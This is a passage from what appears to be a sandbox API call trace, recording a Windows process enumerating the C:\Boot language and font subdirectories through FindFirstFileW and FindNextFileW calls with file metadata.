dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.728] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.728] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.728] GetProcessHeap () returned 0x470000 [0073.728] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.728] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0073.728] GetProcessHeap () returned 0x470000 [0073.728] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.729] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.729] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.729] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.729] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.729] GetProcessHeap () returned 0x470000 [0073.729] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.729] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0073.729] GetProcessHeap () returned 0x470000 [0073.729] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.730] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.731] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.731] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0073.731] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0073.731] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.731] GetProcessHeap () returned 0x470000 [0073.731] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.731] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0073.731] GetProcessHeap () returned 0x470000 [0073.731] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.732] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.732] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.733] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.733] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.733] GetProcessHeap () returned 0x470000 [0073.733] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.733] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0073.733] GetProcessHeap () returned 0x470000 [0073.733] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.733] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.733] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.733] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.734] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.734] GetProcessHeap () returned 0x470000 [0073.734] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.734] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0073.734] GetProcessHeap () returned 0x470000 [0073.734] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.736] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.736] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0073.736] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0073.737] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0073.737] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0073.737] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0073.737] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0073.737] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.737] GetProcessHeap () returned 0x470000 [0073.737] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.737] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0073.737] GetProcessHeap () returned 0x470000 [0073.737] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.738] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.739] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.739] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.739] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.739] GetProcessHeap () returned 0x470000 [0073.739] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.739] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0073.739] GetProcessHeap () returned 0x470000 [0073.739] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.739] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.739] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.740] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.740] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.740] GetProcessHeap () returned 0x470000 [0073.740] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.740] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, 